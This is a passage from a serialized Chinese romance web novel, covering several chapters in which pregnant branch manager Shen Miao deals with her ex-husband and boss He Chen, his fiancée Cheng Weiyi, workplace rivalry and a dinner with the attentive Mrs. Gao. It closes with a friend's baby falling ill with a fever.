沈渺,“你怎么确定,贺总会接受我的道歉?” “你真诚一点,该认的错误就认。” 李白恬想了想又说,“实在不行给他磕一个,我陪一个,他还能生气?” 她让沈渺想到求前任原谅,带着闺蜜上门磕头的段子。 到沈渺这儿就成了带同事上门磕头,求老板别生气了。 “我就是真倒台了,也会给你安排好后路,回去工作吧。” 电梯门开了,沈渺率先走出去。 李白恬飞快倒腾小腿跟上,“听你这语气,还真有可能被开除啊?” 沈渺没回答。 因为她也不清楚。 应了商音那句话,车到山前必有路,开除了还有商音兜着。 一下午,她在办公室没出去。 韩文松跑了三趟贺忱办公室,次次都在贺忱办公室相谈甚欢,扯开嗓门聊天。 晚上下班,沈渺没再像以往那样,问贺忱需不需要送他回家。 她直接收拾东西走了。 商音的电话踩着她下班地点打进来,等不及她开车回家再问。 “怎么样?贺忱又逼问你了没有?” “没有。”沈渺的手抵着方向盘,细长白嫩的手指圈拢着,“挺和平的。” 没再因为那件事情恶化关系,对她来说就算和平。 商音松一口气,很快却又说,“不对劲啊,他不可能就这么算了吧?” 沈渺也觉得不对,但只要她不松口,贺忱就不会知道。 挂了电话,她以最快的速度回家。 先回自己住处洗漱,换了套舒适的衣服,去商音那儿。 门对门,她过个马路就到了。 走到马路正中央时,突然听到一阵口哨声。 循声望去。 隔壁邻居家停着一辆车,工人正往里搬家具。 二楼的阳台上,何之洲穿着荧光粉的防晒服,戴着墨镜,笑容灿烂地看着她。 189.贺总,我现在过去 “巧啊,邻居!” 何之洲双手撑着栏杆,朝她招招手,“又见面了。” 沈渺眉头一拧,成为他的邻居,实在高兴不起来。 “我刚搬家,明天请你吃饭,你下班过来就行,一切都交给我。” 何之洲盛情邀约。 “不用了,我们没那么熟。” 沈渺继续朝商音家走。 何之洲嗓门加大音量,“怎么不熟啊?都是京北人,千里之外老乡见老乡两眼泪汪汪!” ‘砰——’ 沈渺进了商音家,关门。 商音躺在爬爬垫上陪商商玩电子琴,往外面看了一眼。 “外面怎么那么吵?” 沈渺在商商身边坐下,“新搬来的邻居。” 商音‘哦’了一声,打量沈渺。 见沈渺面色没异样,她仍旧不放心的问,“贺忱真没怎么着你?” “只是工作态度有了变化。” 沈渺避重就轻。 “让他变,他受不了把你开除,拿一笔违约金咱回家安胎,我这几天复播效果特别好。” 商音朝她挑挑眉,“以后我养你。” 沈渺嗤笑,“那以后我主内你主外。” “没问题,咱俩把日子过好了,比什么都强!” 商音‘哈哈’笑着,尽量将沈渺身体里紧绷的那根弦,松懈下来。 贺忱的冷处理,虽然让沈渺心里不舒服。 可沈渺确实松一口气。 这口气还未完全松下来,她的手机突然响了。 屏幕上熟悉的号码跳动,她看了一眼眉心就拧起来了。 她拿过手机起身,到一旁去接电话。 “贺总……好,我现在过去。” 简短两句对话,沈渺挂了电话,看向商音,“我得回一趟公司。” 商音抱着商商站起来,“饭都熟了,你吃一口再走?” “不了,你们先吃。” 贺忱只说有事找她,不给她问的机会,就挂了电话。 四十分钟后,百荣分部顶层。 沈渺径直去了贺忱的办公室。 办公室门虚掩着,透出一条缝隙,里面传出浅浅的交谈声。 她敲了下门。 随着男人一声‘进’,她推门而入。 贺忱坐在单人沙发上,一旁的待客沙发上坐着的,赫然是高夫人。 茶几上摆放着几个空了的茶杯,可见高夫人已经来了一会儿。 “我不知道你下班了,又让你特意跑回来一趟。” 高夫人朝她笑笑,“早知道我就改天再来。” “没关系,离着公司不远。” 沈渺说着违心的话,她走过去,“不知高太太找我什么事?” 高夫人拿过一个精致的定制礼品盒。 “昨天你们走得急,伴手礼都没拿,我特意给你送过来。” 一份伴手礼,还专程跑一趟送,确实够特意的。 “谢谢高太太了,您派个人送过来就行了。” 说完,沈渺看了贺忱一眼。 这礼物,也没必要非让她过来一趟,他直接收了不就行? “这里面是一些化妆水和香水,女孩子用的,贺总说给你。” 高夫人解答了她的疑惑,“刚跟贺总聊了两句,他说你很聪明。” 贺忱朝高夫人微颔首,“你们聊,我还有些工作要处理。” 他起身朝办公桌前走去。 高夫人适时宜起身,“你们忙,我就不打扰了。” “辛苦高夫人特意跑这一趟,您要是不介意一起吃个晚餐。” 沈渺拿起伴手礼,礼貌寒暄。 高夫人欣然答应,“可以啊,那贺总一起吗?” 两人齐齐看向贺忱。 贺忱刚坐下,他说有工作要处理,按理说不去。 沈渺这么认为。 高太太问一句,是出于礼貌。 孰料贺忱看了看腕表,摘掉鼻梁上的眼镜又起来了。 “那就一起吧,劳烦高太太还特意送过来。” 他拿过椅子背上的外套,朝她们走来。 就挺突然的。 回到公司看到高夫人突然,高夫人跟她一起吃饭突然,贺忱也要来,更突然。 沈渺默不作声朝外走,进入电梯后就开始订餐厅。 还算顺利,刚好有一家五星级酒店还剩一间包厢。 出了公司,贺忱朝沈渺伸出手。 沈渺立马将车钥匙交到他手上。 贺忱开车,沈渺跟高夫人坐后排。 “你们年轻人三观一致共同话题多,相处起来一定很融洽。” 高夫人看到刚刚贺忱一句话没说,沈渺就知道他要车钥匙,觉得他们很默契。 沈渺浅笑,“长时间接触下来,都会对彼此了解几分。” “你们没对彼此……”高夫人的话戛然而止,她突然想起来,“瞧我这记性,贺总快结婚了,是吧?” 贺忱应了一声。 高夫人往回找补,“贺总年轻有为,不知多少女人喜欢,结婚早是理所应当的事情。” “准贺少夫人一定很优秀吧?” 高夫人说完,又‘咦’了一声,“那你这次来深城,她没来吗?昨天的宴会,怎么不见你带过来?” 沈渺看向车窗外,保持沉默。 “她在京北,婚事将近,走不开。”贺忱透过后视镜看了一眼。 沈渺扭头的动作,露出一小截白皙的脖颈。 高夫人笑道,“操办婚事很繁琐,你缺席,将来可要好好弥补人家。” “确实。”贺忱薄唇溢出两个字。 “那你呢?”高夫人侧目,看向沈渺,“有中意的人了吗?” 沈渺不是个热情的性子,甚至可以说她很冷漠。 长这么大,除了跟商音玩笑般谈过结婚生子的事情。 跟其他人,一律没到聊这些那一步。 高夫人太过热络,连贺忱都给几分薄面回应。 她只能说,“工作忙,暂时不考虑这些。” “你,不想有个家吗?”高夫人慈善的目光中,透着怜爱,“没有父母,早点结婚生子,就有家了。” 沈渺想。 所以当初明知跟贺忱身为地位悬殊,嫁给他会有弊端,她还是嫁了。 除了感情外,她太想有个家了。 所以如今,她也留下了这个孩子。 以后她在这个世界上,就不再是孤零零一个人了。 “罢了。”高夫人突然抓住她的手,轻拍了两下,“你看你现在过得这么好,也一定不想你的父母,不用想,自己过得好就行了。” 干燥的手带着温热感,覆在沈渺的手背上。 沈渺下意识将手缩回来,抬头却是对上高夫人微红的眼眶。 190.不是一个正常前夫该做的事情 “我就是觉得,你很优秀,很争气……” 高夫人松开她,虽是笑着解释,可眼底不由自主流露着一股淡淡的忧伤。 沈渺嘴角扬了扬,笑得很不自在,“谢谢高太太夸奖。” “希望你以后,都平安顺意。” 高夫人又说。 沈渺点头,“谢谢,您也是。” 汽车在餐厅门口停下,保安过来开车门。 几人下车,沈渺本刻意与贺忱保持着距离。 但此刻,她跟在高夫人身边更不自在,悄无声息地往贺忱那边靠了靠。 贺忱阔步进入餐厅的步伐停顿片刻,逐渐缓下来。 包厢内,小方桌铺着红色的桌布,一盏琉璃灯悬在上空,折放出七彩的光芒。 高太太和贺忱各自坐在两端。 沈渺后进来一步,她迟疑片刻—— “麻烦帮我在这里,添一把椅子。” “好。”服务员在方桌另外一端添了把椅子。 沈渺哪个也没挨着,在合适的位置上坐下。 这家餐厅高夫人常来,她点了几道地道的深城菜。 等餐时,包厢里的气氛有些尴尬。 他们与高夫人年龄悬殊,而且并不算熟。 能聊的,在路上已经聊完了。 而有些更隐私的事情,关系还没到那个份儿上。 “所以,沈渺是调职到深城来,以后不回京北了?” 高夫人总能找到话题,而且还顺其自然地问出来。 沈渺摇头,“短期内在深城,以后还说不准。” “深城挺好的。”高夫人扭头看向贺忱,“她能力不错,肯定能管好分公司,你就放心把这儿交给她。” 灯昏光暗,贺忱面容不辨,他没回答。 沈渺能理解,就算不是现在她跟贺忱之间有点隔阂。 高夫人也逾越了。 她的手插不到百荣的内部安排上。 “我……” 高夫人说完,察觉到不对,开口找补。 话未说完,她的手机突然响起。 “抱歉,我接个电话。” 她拿着手机起身,准备往外走却被来送餐的服务员挡住。 她只能转身去了角落。 “我,我在外面……我就是出来跟朋友吃个饭,没有……” 高夫人往这边看了一眼,又从角落去了阳台上。 阳台门一关,听不见她说了什么,但看得出她脸色不好。 服务员上完餐,高夫人也打完电话回来了。 “抱歉,我家里突然有事,得回去。” 沈渺起身,“菜都上齐了,您吃了再走吧。” “不了,你们吃吧。” 说话间高夫人已经拿起包。 沈渺跟着拿包,“我送您回去。” “不用,这些都是我按照你们北方人口味点的,别浪费了,你们吃,司机在外面等我。” 高夫人拦了她的手一把,强行把她的包放回去了。 沈渺只送她到包厢门口,就被她推回来,关了门。 环境优雅的包厢,西装革履的男人坐在方桌前。 白色的衬衫被映出彩光,衬的古铜色皮肤更有性张力。 沈渺犹豫了下,走回来。 “贺总,我家……” “快吃,吃完送我回去。” 贺忱打断她那句‘我家也有事,先走了’。 他拿起筷子,慢条斯理地吃东西。 沈渺拿东西的动作一顿,只能坐下来用餐。 安静的环境,碗碟碰撞声细微却清脆。 半小时,两人一言不发,吃饱后默契起身走人。 出去后才知道,高夫人买过单了。 “改天你请高夫人吃饭,把这份人情还回来。” 贺忱吩咐道。 沈渺跟在他右后方,在尽头拐弯时点头附和他的话。 “是,贺总。” 她话音刚落地,腰上突然一紧,人被捞到贺忱的怀里。 拐角处有个包厢,服务员端着餐盘走得飞快。 贺忱生怕沈渺撞到,便将沈渺拉到怀里来了。 谁知,那服务员推开手边的门进去了,根本没朝这边来。 沈渺被吓一跳,手护着肚子,脸贴在他胸口。 静默数秒,她推开贺忱直起身体,诧异地看着他。 “刚刚有人。” 贺忱淡然解释。 沈渺回头,长廊里连个鬼影子都没有。 她拢了拢眉,反问的话还在喉咙里时,冷不丁看到尽头一闪而过的背影。 是吴玥珊,她那高高隆起的肚子太有辨识性了。 手机拍照时的闪光灯也很亮,亮得刺痛沈渺的眼睛。 “走吧。” 贺忱丢下两个字,驱动长腿离开,留给沈渺一个肩宽腰窄的背影。 工具人。 沈渺的脑海里划过这三个字。 她在贺忱心里的定位,一下变得精准又清晰起来。 贺忱对她没有一点应付性演戏的利用,是完全把她当成不必有知情权的工具。 她穿过长廊一簇簇的暗灯,看着走在前面身姿笔挺的男人。 被窗外的夜风吹得心里烦躁又酸涩。 餐厅门口,贺忱早她一会儿出来,站在车旁等。 沈渺从包里拿出车钥匙,“贺总,您自己开车回去吧,商音在附近,等下她过来接我。” 贺忱的眸光里倒映着一片霓虹,听到他这话明显沉了不少。 他眉骨一拢,“我还没找你算账,你先跟我摆上脸了?” “不敢。”沈渺垂下眼帘,“我有自知之明,哪里敢跟贺总叫板?” 她语气里带着的一丝阴阳怪气,贺忱听得出来。 她将车钥匙放在引擎盖上离开。 贺忱笔直的身体微弯,靠在了车身上。 他抬手拿出烟,背风点火,动作一气呵成。 烟雾刚从薄唇里溢出,就被风吹散了。 可他压着的火气却怎么也散不去,额头的青筋清晰可见。 片刻,他给林昭打电话。 “查查高家怎么回事。” 林昭正在埋头加班,“高家?他们之前跟韩董的人接触过,有什么动作吗?” 贺忱,“查高夫人。” “是。”林昭不多问,一定是高夫人做了不对劲的事情。 贺忱应了一声,复又问,“之前让你查沈渺肚子里的孩子是谁的,查得怎么样?” “啊?” 这事许久未提起,林昭以为贺忱已经忘记了。 “最,最近太忙了,没顾上。” 贺忱提气,说实话他心里也拧巴。 执着于前妻怀了谁的孩子,不是一个正常前夫该做的事情。 可他就是放不下。 “贺总,您……真的想知道吗?” 那端林昭的声音传来。 191.沈渺那边……自求多福吧! “你知道?” 贺忱敏锐地捕捉到,林昭的语气就是他知道内幕的意思。 林昭猛摇头。 摇完了才想起来,贺忱看不见。 “我,我是好奇,您为什么想知道。” 贺忱脑海里浮现沈渺依偎在他怀里时的样子。 她恬静温婉,长发披散,身体柔软,指尖轻轻摆弄他扣子。 脑海里回忆起的一帧一幅,都让他的心里不断泛起涟漪。 “好奇害死猫。” 他吐出五个字,直接挂了电话。 可林昭知道,他这意思是,继续查。 他拖延过一次,这次拖不过去了。 而沈渺那边…… 林昭只能在心里说句‘对不起’,自求多福吧! —— 沈渺没吃多少东西。 商音给她送了宵夜,还温着,她进了家门就开始吃。 手机开着商音直播间,时不时打个评论带带节奏。 顶端突然蹦出微信词条,是高夫人。 她们刚刚互加了微信。 【抱歉,今天突然离席,改天有时间再请你吃饭,我还知道一家味道不错的餐厅。】 沈渺:【高太太客气了。】 她的回答是很官方的。 高夫人:【今天的饭菜还合口味吗?】 沈渺:【贺总很喜欢,谢谢高太太招待。】 如此官方的回答,换了其他贵太太,早就不回复,甚至生气她的致谢没有一点诚意。 可高夫人没有,有一句没一句地聊。 从餐前小菜到饭后甜品,挨个说了一遍。 沈渺的附和言简意赅,‘是,很好,您说得对,味道不错’。 终于跟高夫人结束聊天时,她的宵夜早已凉透了。 沈渺盯着聊天界面,舒缓的眉头渐渐拢起,只觉得怪。 一晚上她睡得不安稳,做了梦,梦到她小时候,又梦到生了孩子以后。 场景混乱,她醒来时已经忘得差不多。 她心里莫名升起不安。 沈渺强压下心底的不安,吃了早餐后如常去公司上班。 等电梯时,她听到两个公司的职员聊天。 “那就是咱们的老板娘吗?” “对啊,是程家的千金,听说是青梅竹马,跟贺总一起长大的!” “也就占了个青梅竹马吧?我觉得长得不怎么好看!” “嘘,这话可不能乱说!之前传出过绯闻,一个合作商说她长得还不如沈总,闹出不小动静呢。” “你还真别说,那个合作商说得真对,之前我是没见过沈总跟老板娘,现在全见到了,沈总长得就是比老板娘好看!” 上班多年,沈渺对职场的八卦早已见怪不怪。 像这种舆论最好的办法就是冷处理。 她打算像听不见的,就这么走了。 只是听到‘全见到’几个字,她眉头不由得拧起。 “程小姐来了?” 她一出声,吓得几个小职员立马聚拢到一起,不知所措地看着她。 “是,今天早上她跟贺总一起来的。” 其中一个小职员说。 电梯门开了,沈渺边进入电梯边说,“注意言辞,这里是公司。” 几个职员纷纷点头,没敢跟她一起上电梯。 沈渺独自一人,乘电梯上顶层。 顶层静悄悄的,秘书办数十人鸦雀无声,拔长脖子往贺忱办公室里探。 听到电梯开关声,他们迅速低下头。 沈渺走出电梯,立马察觉到气氛不对。 她目光扫视一圈,职员们脑袋低得像鸵鸟,生怕看到不该看的。 李白恬从秘书办出来,拉着她往她办公室走。 沈渺被拉进办公室,看着她把门关上,鬼鬼祟祟的。 “沈渺姐,程小姐来了,他们又在吵架。” 李白恬朝隔壁撇了撇嘴,怕一墙之隔不够隔音,声音放得很小。 “程小姐又哭了,每日必吵,每吵必哭,不过这次程小姐没往外跑。” 在京北工作那么久,李白恬无数次见证贺忱跟程唯怡吵架。 她都摸出规律了。 “别八卦了,做好自己的工作。” 沈渺叮嘱道。 李白恬撇了下嘴,“我可没八卦,是他们吵太大声了,我耳朵不聋就听见了。” 说着,她又把声音放低一个度。 “不过也不算吵,好像是程小姐来认错,贺总自始至终没说话,她哭哭啼啼地说她从来没想过,他们会变成这样。” 李白恬没听清全部,单从程唯怡的话判断出,程唯怡是来认错求原谅的。 贺忱依旧位居高位,甚至这一次他都没有附和程唯怡两句。 “沈渺姐,你说贺总跟程小姐的婚事,该不会取消吧?” 李白恬觉得,有可能。 贺忱有钱有颜又帅气,什么样的女人没有? 程唯怡这么作,他受不了不会忍着。 “我说了不算,你猜的也只是猜测,回去工作。” 沈渺朝李白恬挥挥手,“不许散播谣言。” 李白恬是总部调过来的,很多人都会跟她打听贺忱跟程唯怡的事情。 沈渺目光警示着她。 她吐吐舌头,‘哦’了一声,转身离开。 沈渺坐下打开电脑,右下角弹出一封邮件。 贺忱将他的电子行程单发了过来,让沈渺合理安排他的工作。 除去这边的高层会议外,京北总部以及国外线上视频会议,许多工作流程等着安排。 沈渺安排这种事情手到擒来。 无形中,她又干上了秘书的活。 除了安排贺忱工作,还要替贺忱对接高层传达命令。 “韩经理,十点钟来一趟贺总的办公室。” 沈渺替贺忱传达命令,打电话给韩文松。 “怎么?”韩文松奚落着,“都成了分部总经理了,还做着秘书的活儿,沈总该不会被降职了吧?” “等我降职的时候,一定通知韩经理。” 沈渺风轻云淡地怼回去,“希望到时候韩经理有资格顶替我的位置。” 韩文松都不够格当副总经理,沈渺这话是在敲打他。 他现在再的得势,也是韩董的人,贺忱不可能重用他。 “早晚有让你俯首称臣的那一天,等着。” 韩文松挂了电话。 十点钟时,沈渺一块儿被喊到贺忱的办公室。 韩文松就政圈项目,做了初步计划,向贺忱汇报。 沈渺过来,是帮贺忱记录汇报重点的。 韩文松是国内顶尖财政大学毕业,脑子里有货。 计划书是他一个人独立完成的,除了还没有细化外,整体很不错。 “韩经理坐在这个位置上,屈才了,好好干,拿下政圈项目,升职加薪。” 贺忱很少夸人。 “升职加薪?”韩文松打量了沈渺一眼,“贺总要提拔我到什么职位?” 贺忱手指轻轻揉捏腕骨,光滑的表盘倒映着他高深莫测的面容。 192.沈秘书,你没什么想说的? “你想做什么职位。” 贺忱反问。 韩文松,“当然是越高越好,现在我做这个项目,是分部的第一个大项目,关乎着分部能不能成为深城的领头羊。” 他的意思是,这个项目很重要。 贺忱要提拔,也要提拔个好的职位。 例如,分部总经理。 韩文松的玄外音太重,贺忱跟沈渺一下就听出来了。 “到时候,分部的位置,你随便挑。” 贺忱爽快道。 沈渺的眼皮轻颤,笔记本微弱的灯光照在她脸上。 她瞳仁黑白分明,深处一片暗色。 “贺总,你没开玩笑吧?” 韩文松有自知之明,诚如沈渺的话。 他是韩董的人,贺忱不会重用提拔他。 这次把最重要的项目交给他,就已经是意外中的意外了。 贺忱,“前提是,你对我足够重心。” 他指尖一下一下轻敲着桌面,“你虽然跟韩董有亲戚关系,可人都是以利益为重,你跟着他只是为他儿子做嫁衣,没有出头日,不如跟着我,他给你的我都能给你,而且是名利双收。” 韩董的儿子不争气。 韩文松是名校毕业,能力出众。 他的丰功伟绩,都会被韩董拨到韩城光名下,奠基韩城光的地位。 虽说韩文松跟着贺忱,职位不会比韩董给的高多少。 可最起码荣誉是自己的。 贺忱赌他想要荣誉。 贺忱看东西看通透了,韩文松十分警惕。 “那,如果我说我要沈总的位置呢?” 他试探贺忱。 “给。”贺忱毫不犹豫,“只要事成,分部你说了算。” 韩文松心底一喜,可喜悦并兼着疑心。 “贺总,那我们等项目结束之后,再说。” 他没有立刻松口。 贺忱颔首。 沟通结束,韩文松离开。 沈渺将整理好计划书重点整理好,发到贺忱邮箱。 “贺总,东西整理好发您邮箱了,您过目,没别的事情我先出去了。” 她收拾笔记本,起身准备离开。 贺忱鹰隼般的眸略过她,“沈秘书,你没什么想说的?” “没有。”沈渺摇头。 虽然贺忱抛出的条件足够诱人。 可是他的收买太突然,万一韩文松跟韩董的关系,比他预期的好。 那岂不是打草惊蛇? 而且很容易被敌人反算计。 可是聪明如贺忱。 沈渺摸不透他到底要干什么,但知道他一定把所有可能性都想到了。 “你就不怕,你的位置真的不保?” 贺忱倏地眯着长眸。 沈渺抱着笔记本,面色如常,“我听从的贺总一切安排。” 她怕有什么用? 贺忱灼灼盯着她。 她目光淡淡的回看。 四目相对时—— 办公室门被人从外面推开。 “贺忱哥。” 程唯怡穿着浅紫色的连衣裙,长发别了一个蝴蝶发夹。 她踩着高跟鞋,兴高采烈地进来。 看到沈渺在,她的笑容一瞬浅了不少。 许是两人吵完,和好如初了,她进来时的笑容灿烂到,沈渺觉得有些刺眼。 “不打扰贺总跟程小姐,我先去忙。” 沈渺转身离开。 程唯怡与她擦肩走过,一个离开一个奔向贺忱。 办公室门合上。 贺忱的视线被隔开,他收回目光。 “贺忱哥,我亲手做的午餐。” 程唯怡拎着一个保温桶,她放在办公桌,一个个地打开。 贺忱面无表情,“什么时候回京北。” 程唯怡的动作一顿,很快恢复。 “你什么时候回去?” “等你做完检查,我就回。” 贺忱身体后倾,靠在椅背上,他姿态慵懒,整个人都透着懒散。 程唯怡咬着嘴唇,哭过而发红的眼眶,这会儿又染上红润。 “贺忱哥,我就是想来看看你,不是逃避不做检查,只是检查的事情我得瞒着我妈,一直没找到合适的机会。” 贺忱沉默着。 “我们一起吃顿饭吧。”程唯怡又说,“听说秦川也在深城,一起?” 贺忱眼皮轻掀,朝她看过去,“你听谁说秦川在深城。” 秦川的手机被他没收,跟外界没有联系。 若不是有意调查,没有人会知道,秦川来深城了。 “我,我朋友在这里遇上秦川了,他不是去儿科医院做了医生?” 程唯怡面色有些虚虚的,她找着话题,“他不是妇产科医生吗,怎么又跑去做儿科医生吗?” 贺忱嗓音低沉,“不清楚。” “那,咱们一起吃饭的时候,问问他。” 程唯怡小心翼翼地说。 良久,贺忱点头,“好,我来安排,你回去吧。” “那好,我去等你消息。”程唯怡将午餐往他面前推了推。 见贺忱纹丝不动,她面色难掩失落,一步三回头地离开。 沈渺放下电脑,准备去吃饭。 等电梯时,就看到程唯怡从贺忱办公室出来。 看到沈渺的那一刻,程唯怡失落又忐忑的表情瞬间消失,转而换上一副淡淡讽刺的面孔。 她走到沈渺身边。 “没想到,在深城还能见面。” 沈渺往旁边站了站,“程小姐。” 程唯怡,“放心,我不为难你,你也挺可怜的,被贺忱哥拿来当气我的棋子,自己都不知道。” 正赶着中午下班的点,时不时有人过来等电梯。 但是沈渺跟程唯怡之间的气氛太诡异。 没人敢靠近,甚至有人走楼梯下去了。 “但你要把贺忱哥对你的好当了真,那就更可怜了,别心存奢望,觉得贺忱哥对你特殊,千里迢迢跑到深城来给你撑腰,都是假的。” 程唯怡说话更肆无忌惮。 她越说靠沈渺越近,那双眼睛直勾勾地盯着沈渺。 沈渺眉头微蹙,又往旁边挪了一步。 再次被拉开的距离,让程唯怡的不满翻倍。 “我是好心劝你,你怎么这个态度的?” 沈渺,“谢谢程小姐的好心相劝,但有劝我的时间,程小姐该好好反思一下,为什么总是惹贺总生气,你要不惹他生气也就不会发生这么多事情。” 她迎上程唯怡不满的目光,继续说道,“能把贺总气得跑到千里迢迢之外,把工作都放在第二位,就为了气你,不得不说程小姐气人挺有一套的,你说我可怜,我反而觉得程小姐这么毫无分寸的恃宠而骄,更可怜。” 193.早点给贺忱生几个孩子 沈渺实事求是。 程唯怡跟贺忱这么闹,却总是牵连到她,她是真心的希望程唯怡能收敛一些。 电梯门开了,沈渺进入电梯内。 等程唯怡转正成为贺少夫人,她也就不再配成为程唯怡的眼中钉。 他们的矛盾少了,她就‘解放了’。 最好程唯怡早点给贺忱生几个孩子,她都替他们高兴。 电梯下行,几秒的失重感后,恢复正常。 午饭时,商音给她发消息,说起程唯怡在电梯口那几句话。 “你能不能怼她两句?” 商音双手握拳,恨不得替沈渺怼回去。 沈渺吸吸鼻子,淡定道,“我怼了,她会更记恨我,更介意我的存在,他们下次再吵架,还会牵连到我,我可不想一辈子都是贺忱拿来气她的工具。” 前任,永远是扎在现任心里的一根刺。 商音咂咂嘴,“这局怎么破?要不是程唯怡这么爱吃你的醋,贺忱也不至于关注你这么多。” “程唯怡到深城来,不见得是坏事,床头吵架床尾和,没准他们很快就和好,贺忱就走了。” 沈渺是这么想的。 商音冷笑两声,“你想的挺美,祝你梦想成真。” 沈渺觉得事情朝她预想的方向发展的。 当天下午,贺忱就让她订了深城有名的西餐厅。 晚上下班时,沈渺的车从地下车库开出来。 她一眼就看到了贺忱的迈巴赫停在路口。 程唯怡上了副驾,隔着窗户依稀可见她朝贺忱怀里扎了扎。 很快,程唯怡又转过身来系安全带。 车窗半落,她与沈渺的视线装上,微挑的眉梢是压不住的得意。 沈渺目光漠然,一脚油门踩下去,快速越过迈巴赫。 半小时以后,西餐厅。 方桌前,三人分别单坐一面。 秦川坐在两人之间,显得有些局促。 “贺忱哥,这里的西餐好吃吗?”程唯怡点餐,试探性地问贺忱,“你吃过哪种口味的?” 贺忱,“不知道,没来过。” 也就是说,贺忱没有跟沈渺来吃过。 程唯怡心底窃喜。 虽然贺忱用沈渺来气她,是她故意编造给沈渺的谎言。 可是现在看来,也不是完全没有这个意思。 贺忱似乎对她有了隔阂,故意冷着她,所以才跑到这里来的。 是想借用沈渺,逼着她妥协吧? 程唯怡轻咬了下嘴唇,看了秦川一眼。 秦川也在看菜单,自始至终连个眼神都没给她。 几分钟后,三人点完餐,服务员将菜单收走。 “秦川,你来深城干什么?” 程唯怡率先发问,“在京北干得好好的,跑这儿来……是跟着贺忱哥跑吗?” 贺忱身子后倾,胳膊搭着椅子背,修长的手指自然垂着。 头顶的灯笼罩下来,将男人的五官拢住阴影,令人捉摸不透。 秦川看他一眼,虽然他没说,可秦川知道他带自己过来的事情,要隐瞒。 “工作需要。” “乱说,深城的儿科根本不缺医生。” 程唯怡暗示性道,“你的名声不怎么好,一直追着贺忱哥跑什么?万一让有心的媒体发现,报道一些不实的言论,会给贺忱哥带来负面影响的。” 秦川下颚线条倏地一绷。 “我,就在深城待两天,陪陪贺忱哥,等我走的时候,你跟我一起回去。” 程唯怡语气近乎肯定。 她直接替秦川做主了。 “到时候再看。”秦川并未直接答应。 程唯怡看他一眼,欲言又止,半晌她站起来,“我去一下洗手间。” 贺忱始终沉默,目光落在表盘上,随着转动的指针移动。 包厢里安静下来。 秦川安静了几秒问道,“贺忱,我有一个问题,想问你。” “说。”贺忱薄唇轻启。 “你说,程唯怡喜不喜欢你。” 秦川的话,令贺忱的眉心紧紧拧在一起,他看向秦川 秦川不急不缓道,“人家都说,女人是感性动物,她能因为喜欢失去理智,也会因为喜欢做出很疯狂的事情,所以她向你提出结婚,是带着感情的吧,没有女人会嫁给自己不喜欢的男人。” “天底下贪图钱财的女人,多的是。” 贺忱言简意赅。 “那你要看她缺不缺钱,如果不缺或者结婚后并未享受你的钱财,那她图的就是你的人。” 秦川意有所指的是,程唯怡嫁给贺忱图什么。 但贺忱的思绪一瞬间落在了沈渺身上。 沈渺嫁给他,图什么? 婚后她依旧节省,几乎没花他的钱,离婚时也一分没要。 照秦川这么说,她也是喜欢他的? 贺忱的面部轮廓一下就润朗许多。 “我去个洗手间。” 秦川点到即止,他站起来,双腿碰到椅子,椅子却纹丝不动。 他双腿弯曲,没站稳,又坐回椅子上。 低头才发现,贺忱死死踩着他的椅子腿。 “你敢出去这扇门,我让你活着走不出深城。” 贺忱漠然地盯着他。 秦川身体一僵,片刻松懈下来,老老实实坐着。 “那我不去了。” 包厢陷入安静。 程唯怡墨迹了好一会儿才回来。 一进门,她先看了秦川两眼,目光里的不满显而易见。 但秦川装没看见,手执刀叉切牛排。 “贺忱哥,你能去找服务员,帮我要一杯果汁吗?” 程唯怡坐下,撒娇道,“听说这家酒店的鲜榨果汁很好喝。” 贺忱抽了一张纸,擦了擦嘴角,抬手摁响了呼叫铃。 服务员推门就进来了。 “您好三位,请问有什么需要?” 贺忱低头继续切牛排。 程唯怡只能开口,“麻烦给我来一杯果汁。” “好的女士,请稍等。” 服务员退出包厢,没几分钟拿了杯果汁过来。 贺忱慢条斯理吃着东西,姿态矜贵又清冷。 秦川低头吃,不曾抬起头来跟程唯怡有眼神交流。 “看来,牛排是挺好吃。” 程唯怡切牛排,也吃起来,只是她吃得心不在焉。 二十分钟后,几人餐盘都空了。 “吃饱了,走吧。” 贺忱站起来,拿过椅背的西装外套穿上。 秦川起身跟在他后面就要走。 程唯怡拿出手机来,“秦川,你手机号是不是换了?重新加一个微信吧?” 194.两个女人凑不齐一个明事理的男人来 “我手机没电了。” 秦川拿出手机,点了两下屏幕,黑的。 不等程唯怡再说什么,他又添一句,“你微信号没变吧,等回家我充了电加你。” 程唯怡把手机收起来,还想再说什么,秦川已经跟上了贺忱的脚步。 几人走出餐厅,贺忱率先上车。 车窗全落,他一手抵在方向盘,一手撑着车门。 “贺忱哥,我的酒店跟你不顺路,你就别送我回去了,我打个车,跟秦——” “那你打车走吧,我跟贺忱顺路,就坐他的车走了。” 秦川打断程唯怡的话,绕到副驾驶上去,系安全带。 他的动作一气呵成。 程唯怡一句话没说完,一口气提在嗓子眼,再听他这话—— 她差点儿没上不来气。 “回去路上注意安全,到酒店报平安。” 贺忱叮嘱了两句,驱车离开。 程唯怡站在原地,看着他们的车飞速驶离。 “死秦川,你故意躲我?我就不信了,查不出你在哪里!” —— “小沈,你就是吃太少了,你看你肚子才这么一丢丢。” 饭桌上,昭姐见沈渺吃了一小碗米饭就不吃了,苦口婆心地劝。 “女孩子不能因为爱美,怕长胖,就不吃东西,孩子太小了,可怜巴巴的哦,生出来跟个猴子一样。” 商音搭了句,“她现在吃得算多的,你是没看到以前,跟喂猫似的,我家小商商再过两个月吃的都比她多。” 商商现在可以适量添加辅食。 昭姐做得一手好饭,辅食更是不在话下。 商商的饭量日益增长。 “乖乖,今天这个是不喜欢吃吗?” 昭姐发现今天商商吃不进东西去。 她摘掉围裙走过来,从商音手里接过辅食碗。 “你吃,我来喂她。” “那你来,我饿死了。” 商音直接把商商的小餐车推到一边。 谁知她刚坐下,商商就突然‘哇哇’大哭。 “哎呀,乖乖怎么了?妈妈也饿了,咱们一起吃行吗?” 商音捧着碗筷,一边逗商商一边往嘴里扒饭。 昭姐把饭递到嘴边,商商挥着小胳膊拨弄开,朝着商音的方向扯着嗓子哭。 哭得小脸通红,额头青筋凸起,不过短短几秒嗓子都哑了。 小家伙从未这么哭过,商音立马放下筷子了。 “怎么了这是?” 昭姐放下辅食碗,准备把商商抱起来。 “是不是下午没睡够,困……哎呦,乖乖好烫,发烧了啊!” 商音一听傻眼了,“发烧?他这么小也会发烧吗?” 昭姐只是用手测量了额头体温,连温度计都没试就确定。 “肯定已经三十九度朝上了,赶快去医院!” 下午,昭姐去菜市场买菜,回来就开始做晚饭。 将近三个小时,都是商音在带商商。 她竟然没发现商商发烧,自责涌上心头,她的眼一下就红了。 “你去给商商准备东西,我开车。” 